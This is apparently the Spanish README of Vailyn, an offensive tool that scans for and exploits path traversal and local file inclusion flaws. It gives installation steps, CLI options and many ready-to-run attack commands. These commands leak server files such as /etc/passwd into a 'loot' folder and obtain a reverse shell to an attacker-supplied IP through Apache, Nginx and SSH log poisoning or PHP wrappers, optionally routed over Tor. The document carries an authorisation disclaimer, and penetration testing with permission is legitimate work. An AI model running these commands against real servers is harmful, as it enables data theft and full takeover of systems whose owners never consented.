
Una herramienta de escaneo y explotación de Path Traversal + LFI, evasiva y por fases, en Python.

Ataques de Path Traversal y LFI por Fases
Vailyn 3.0
Desde la v3.0, Vailyn soporta wrappers PHP de LFI en la Fase 1. Use
--lfipara incluirlos en el escaneo.
Vailyn es una herramienta de análisis y explotación de vulnerabilidades en múltiples fases para vulnerabilidades de path traversal e inclusión de archivos. Está diseñada para ser lo más eficiente posible y ofrecer un amplio arsenal de técnicas de evasión de filtros.
Vailyn opera en 2 fases. Primero, comprueba si la vulnerabilidad está presente. Lo hace intentando acceder a /etc/passwd (o un archivo especificado por el usuario), con todos sus payloads evasivos. Analizando la respuesta, los payloads que funcionaron se separan de los demás.
Ahora, el usuario puede elegir libremente qué payloads usar. Solo estos payloads se usarán en la segunda fase.
La segunda fase es la fase de explotación. Ahora intenta filtrar todos los archivos posibles del servidor usando un diccionario de archivos y uno de directorios. La profundidad de búsqueda y el nivel de permutación de directorios se pueden adaptar mediante argumentos. Opcionalmente, puede descargar los archivos encontrados y guardarlos en su carpeta de botín. Alternativamente, intentará obtener una reverse shell en el sistema, permitiendo al atacante obtener control total sobre el servidor.
Actualmente, soporta múltiples vectores de ataque: inyección vía query, path, cookie y datos POST.
La separación en varias fases se realiza para mejorar enormemente el rendimiento de la herramienta. En versiones anteriores, cada combinación archivo-directorio se verificaba con cada payload. Esto resultaba en una gran sobrecarga debido a que los payloads siempre se usaban de nuevo, a pesar de no funcionar para la página actual.
Las versiones de Python recomendadas y probadas son 3.7+, pero debería funcionar bien con Python 3.5 y Python 3.6 también. Para instalar Vailyn, descargue el archivo desde la pestaña de versiones, o ejecute
$ git clone https://github.com/VainlyStrain/Vailyn
Una vez en su sistema, necesitará instalar las dependencias de Python.
En sistemas Unix, es suficiente ejecutar
$ pip install -r requirements.txt # --user
Algunas bibliotecas que Vailyn usa no funcionan bien con Windows, o fallarán al instalarse.
Si usa Windows, use pip para instalar los requisitos listados en Vailyn\·›\requirements-windows.txt.
Si twisted falla al instalarse, hay una versión no oficial disponible aquí, que debería compilarse en Windows. Solo tenga en cuenta que esta es una descarga de terceros, y la integridad no está necesariamente garantizada. Después de que esto se instale correctamente, ejecutar pip nuevamente en requirements-windows.txt debería funcionar.
Si desea usar completamente el módulo de reverse shell, necesitará tener sshpass, ncat y konsole instalados. Los nombres de los paquetes varían según la distribución de Linux. En Windows, necesitará iniciar el listener manualmente de antemano. Si no le gusta konsole, puede especificar un emulador de terminal diferente en core/config.py.
¡Eso es todo! Inicie Vailyn moviéndose a su directorio de instalación y ejecutando
$ python Vailyn -h
Vailyn tiene 3 argumentos obligatorios: -v VIC, -a INT y -p2 TP P1 P2. Sin embargo, dependiendo de -a, pueden requerirse más argumentos.
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
obligatorio:
-v VIC, --victim VIC Objetivo a atacar, parte 1 [previo al payload]
-a INT, --attack INT Tipo de ataque (int, 1-5, o A)
A| Araña (todo) 2| Ruta 5| Datos POST, json
P| Araña (parcial) 3| Cookie
1| Parámetro de Query 4| Datos POST, plano
-p2 TP P1 P2, --phase2 TP P1 P2
Ataque en Fase 2, y parámetros necesarios
┌[ Values ]─────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ fuga │ Diccionario │ Diccionario │
│ │ de archivos │ de directorios │
├─────────┼─────────────┼────────────────────┤
│ inyectar│ Dirección IP│ Puerto de escucha │
├─────────┼─────────────┼────────────────────┤
│ implantar│ Archivo │ Destino en el │
│ │ fuente │ servidor │
└─────────┴─────────────┴────────────────────┘
adicional:
-p PAM, --param PAM parámetro de query o datos POST para --attack 1, 4, 5
-i F, --check F Archivo a verificar en Fase 1 (df: etc/passwd)
-Pi VIC2, --vic2 VIC2 Objetivo de ataque, parte 2 [post-payload]
-c C, --cookie C Cookie a agregar (en formato de cabecera)
-l, --loot Descargar los archivos encontrados en la carpeta de botín
-d I J K, --depths I J K
profundidades (I: fase 1, J: fase 2, K: nivel de permutación)
-h, --help muestra este menú de ayuda y sale
-s T, --timeout T Tiempo de espera de solicitud; switch estable para Arjun
-t, --tor Canalizar ataques a través de la red de anonimato Tor
-L, --lfi Usar adicionalmente wrappers PHP para filtrar archivos
-n, --nosploit saltar Fase 2 (no necesita -p2 TP P1 P2)
-P, --precise Usar profundidad exacta en Fase 1 (no un rango)
-A, --app Iniciar la interfaz Qt5 de Vailyn
desarrollo:
--debug Muestra cada ruta intentada, incluso 404s.
--version Imprime la versión del programa y sale.
--notmain Evita el fallo de notify2 en llamadas a subprocesos.
Información:
para filtrar archivos usando rutas absolutas: -d 0 0 0
para obtener una shell usando rutas absolutas: -d 0 X 0
Vailyn soporta actualmente 5 vectores de ataque, y proporciona un rastreador para automatizarlos todos. El ataque realizado se identifica mediante el argumento -a INT.
INT ataque
---- -------
1 ataque basado en query (https://site.com?file=../../../)
2 ataque basado en ruta (https://site.com/../../../)
3 ataque basado en cookie (obtendrá las cookies por usted)
4 datos POST planos (ELEM1=VAL1&ELEM2=../../../)
5 datos POST json ({"file": "../../../"})
A araña obtener y analizar todas las URLs del sitio usando todos los vectores
P araña parcial obtener y analizar todas las URLs del sitio usando solo vectores seleccionados
También debe especificar un objetivo a atacar. Esto se hace mediante -v VIC y -Pi VIC2, donde -v es la parte anterior al punto de inyección, y -Pi el resto.
Ejemplo: si la URL final debe verse como: https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue, puede especificar -v https://site.com/download.php y -Pi ¶m2=necessaryvalue (y -p file, ya que esto es un ataque de query).
Si desea incluir wrappers PHP en el escaneo (como php://filter), use el argumento --lfi. Al final de la Fase 1, se le presentará un menú de selección adicional con los wrappers que funcionaron. (si los hay)
Si el sitio atacado está detrás de una página de inicio de sesión, puede proporcionar una cookie de autenticación mediante -c COOKIE. Si desea atacar a través de Tor, use --tor.
Esta es la fase de análisis, donde los payloads que funcionan se separan de los demás.
Por defecto, se busca /etc/passwd. Si el servidor no está ejecutando Linux, puede especificar un archivo personalizado con -i FILENAME. Tenga en cuenta que debe incluir subdirectorios en FILENAME.
Puede modificar la profundidad de búsqueda con el primer valor de -d (por defecto=8). Si desea usar rutas absolutas, establezca la primera profundidad a 0.
Esta es la fase de explotación, donde Vailyn intentará filtrar tantos archivos como sea posible, u obtener una reverse shell usando varias técnicas.
La profundidad de búsqueda en la fase 2 (el número máximo de capas retrocedidas) se especifica mediante el segundo valor del argumento -d. El nivel de permutación de subdirectorios se establece con el tercer valor de -d.
Si ataca con rutas absolutas y realiza el ataque de fuga, establezca todas las profundidades a 0. Si desea obtener una reverse shell, asegúrese de que la segunda profundidad sea mayor que 0.
Al especificar -l, Vailyn no solo mostrará archivos en la terminal, sino que también descargará y guardará los archivos en la carpeta de botín.
Si desea una salida detallada (mostrar todas las salidas, no solo los archivos encontrados), puede usar --debug. Tenga en cuenta que la salida se vuelve muy desordenada, esto es básicamente solo una ayuda de depuración.
Para realizar el ataque de fuerza bruta, necesita especificar -p2 leak FIL PATH, donde
Para obtener una reverse shell mediante inyección de código, puede usar -p2 inject IP PORT, donde
ADVERTENCIA
Vailyn emplea técnicas de envenenamiento de logs. Por lo tanto, SU IP ESPECIFICADA SERÁ VISIBLE EN LOS LOGS DEL SERVIDOR.
Las técnicas (solo funcionan para inclusiones LFI):
/proc/self/environ solo funciona en servidores desactualizadosEnvenenamiento e inclusión de logs de Apache + NginxEnvenenamiento de logs SSHinclusión de correo envenenadoexpect://data:// (plano & b64)php://inputPara distinguir resultados reales de falsos positivos, Vailyn realiza las siguientes comprobaciones:
-a 2, realizar una verificación adicional si el contenido de la respuesta coincide con el contenido de la URL raíz del servidor/etc/passwd si se usa ese archivo de búsquedaAtaque simple de Query, filtrando archivos en Fase 2:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
Ataque de Query, pero sé que un archivo file.php existe exactamente 2 niveles por encima del punto de inclusión:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
Esto acortará mucho la duración de la Fase 1, ya que es un ataque dirigido.
Ataque simple de Ruta:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
Ataque de Ruta, pero necesito parámetros de query y etiqueta:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
Ataque simple de Cookie:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
Obtendrá cookies y podrá seleccionar la cookie que desea envenenar
El Rastreador de Vailyn analizando una aplicación web damn vulnerable. Los Wrappers LFI no están habilitados.
Demostración de GUI (v2.2.1-5)
¿Encontró algunos falsos positivos/negativos (o desea señalar otros errores/mejoras)? ¡Por favor, deje un issue!
Vailyn se proporciona como una herramienta de auditoría ofensiva de aplicaciones web. Tiene funcionalidades integradas que pueden revelar vulnerabilidades potenciales en aplicaciones web, que podrían ser explotadas maliciosamente.
POR LO TANTO, NI EL AUTOR NI LOS COLABORADORES SON RESPONSABLES POR EL MAL USO O DAÑO DEBIDO A ESTE KIT DE HERRAMIENTAS.
Al usar este software, el usuario se obliga a seguir sus leyes locales, a no atacar el sistema de otra persona sin permiso explícito del propietario, o con intención maliciosa.
En caso de infracción, solo el usuario final que la cometió es responsable de sus acciones.
Vailyn: Copyright © VainlyStrain
Arjun: Copyright © s0md3v
Arjun ya no se distribuye con Vailyn. Instale su última versión mediante pip.
Ataque POST Plano:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
infectará DATA2 con el payload
Ataque POST JSON:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
Ataque, pero el objetivo está detrás de una pantalla de inicio de sesión:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
Ataque, pero quiero una reverse shell en el puerto 1337:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # se necesita una profundidad alta en Fase 2 para la inyección de logs
(iniciará un listener ncat por usted si está en Unix)
Automatización completa en modo rastreador:
$ Vailyn -v "http://root-url.site" -a A también puede especificar otros argumentos, como cookie, profundidades, lfi y archivo de búsqueda aquí
Automatización completa, pero Arjun necesita --stable:
$ Vailyn -v "http://root-url.site" -a A -s ANY